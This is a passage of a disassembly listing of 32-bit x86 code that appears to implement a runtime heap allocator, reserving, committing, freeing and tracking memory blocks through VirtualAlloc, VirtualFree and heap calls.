		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41E672+41p
					; sub_41F50E:loc_41F6DDp
		cmp	dword_43AE70, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE60
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD3A4
		call	dword_427150	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE60
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE60, 0
		jnz	short loc_41F296
		mov	off_43AE60, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE64, 0
		jnz	short loc_41F2BB
		mov	off_43AE64, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE64
		mov	[esi+4], eax
		mov	off_43AE64, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		call	dword_427068	; VirtualFree


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE60
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD3A4
		call	dword_42714C	; RtlFreeHeap


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_427068	; VirtualFree
		cmp	off_43CE80, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE80, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE60
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD3A4
		call	dword_42714C	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE70, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE64
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_427068	; VirtualFree
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE50
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE64
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE60
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE50
		cmp	dword_4DBE50, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE80
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE80
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE80, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE60
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_427064	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE80, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE80, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



